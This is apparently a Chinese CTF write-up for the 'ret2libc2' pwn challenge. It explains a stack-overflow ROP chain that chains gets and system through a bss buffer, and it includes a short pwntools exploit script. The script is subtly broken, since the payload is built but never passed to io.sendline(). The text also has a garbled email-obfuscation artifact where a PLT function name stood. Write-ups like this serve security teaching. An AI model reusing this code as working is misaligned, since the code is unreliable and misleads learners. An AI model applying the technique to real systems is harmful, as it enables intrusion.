PWN —— ret2libc2

拿到题目，先checksec一下：

发现NX打开，不能自己构造shellcode，打开ida查找是否由后门函数，发现并没有
再查找是否存在/bin/sh

发现也不存在/bin/sh，则直接看plt表

由gets和system表，则想到可以利用gets读到/bin/sh，然后用system获取/bin/sh，读取这个字符串一般放在bss段，利用IDA进行查找。

发现存在一个buf2可以用来存/bin/sh，则可构造栈结构图：

则开始写攻击代码

from pwn import *
io = process("./ret2libc2")
payload = 112* b'A' + p32(0x8048460) + p32(0x8048490) + p32(0x804A080)*2
io.sendline()
io.interactive()
# 交互时要在gets出输入/bin/sh

这题还可以换种思路，利用ROPgadget进行溢出
虽然该题目是动态连接，但还是存在一点gadget的，比如pop ebx ; ret，由于ebx无特别功能，可以利用其栈平衡

解释一下：当执行gets后，会向上2个位置获取参数，本图即buf2的位置，然后esp指向pop_ebx_ret，执行pop_ebx_ret将buf2移出栈，执行[email protected]，再用pop_ebx_ret将system的参数移出栈，达到栈平衡